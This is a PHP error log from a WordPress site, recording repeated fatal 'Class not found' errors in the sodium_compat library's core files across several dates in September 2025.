[19-Sep-2025 06:35:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[19-Sep-2025 06:35:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[19-Sep-2025 06:35:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[19-Sep-2025 06:35:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[19-Sep-2025 06:35:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[19-Sep-2025 06:35:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[19-Sep-2025 06:35:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[19-Sep-2025 06:35:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[19-Sep-2025 06:35:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[19-Sep-2025 06:35:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[19-Sep-2025 06:35:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[19-Sep-2025 06:35:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[19-Sep-2025 06:36:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[19-Sep-2025 06:36:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[19-Sep-2025 06:36:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[19-Sep-2025 06:36:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[19-Sep-2025 06:48:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[19-Sep-2025 06:48:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[19-Sep-2025 06:48:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[19-Sep-2025 06:48:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[19-Sep-2025 06:48:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[19-Sep-2025 06:48:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[19-Sep-2025 06:48:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[19-Sep-2025 06:48:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[19-Sep-2025 06:48:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[19-Sep-2025 06:48:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[19-Sep-2025 06:48:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[19-Sep-2025 06:48:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[19-Sep-2025 06:48:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[19-Sep-2025 06:48:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[19-Sep-2025 06:48:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[19-Sep-2025 06:48:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[22-Sep-2025 12:44:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[22-Sep-2025 12:44:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[22-Sep-2025 12:44:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[22-Sep-2025 12:45:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[22-Sep-2025 12:45:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[22-Sep-2025 12:45:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[22-Sep-2025 12:45:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[22-Sep-2025 12:45:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[22-Sep-2025 12:45:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[22-Sep-2025 12:45:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[22-Sep-2025 12:45:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[22-Sep-2025 12:45:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[22-Sep-2025 12:45:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[22-Sep-2025 12:45:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[22-Sep-2025 12:45:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[22-Sep-2025 12:45:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[22-Sep-2025 12:59:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[22-Sep-2025 12:59:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[22-Sep-2025 12:59:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[22-Sep-2025 12:59:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[22-Sep-2025 12:59:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[22-Sep-2025 12:59:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[22-Sep-2025 12:59:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[22-Sep-2025 12:59:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[22-Sep-2025 12:59:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[22-Sep-2025 12:59:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[22-Sep-2025 12:59:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[22-Sep-2025 12:59:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[22-Sep-2025 12:59:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[22-Sep-2025 12:59:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[22-Sep-2025 13:00:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[22-Sep-2025 13:00:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[25-Sep-2025 22:01:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[25-Sep-2025 22:01:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[25-Sep-2025 22:01:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[25-Sep-2025 22:01:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[25-Sep-2025 22:01:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[25-Sep-2025 22:01:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[25-Sep-2025 22:01:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[25-Sep-2025 22:01:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[25-Sep-2025 22:01:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[25-Sep-2025 22:01:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[25-Sep-2025 22:01:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[25-Sep-2025 22:01:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[25-Sep-2025 22:01:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[25-Sep-2025 22:01:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[25-Sep-2025 22:01:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[25-Sep-2025 22:01:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[25-Sep-2025 22:13:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[25-Sep-2025 22:13:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[25-Sep-2025 22:13:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[25-Sep-2025 22:13:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[25-Sep-2025 22:13:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[25-Sep-2025 22:13:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
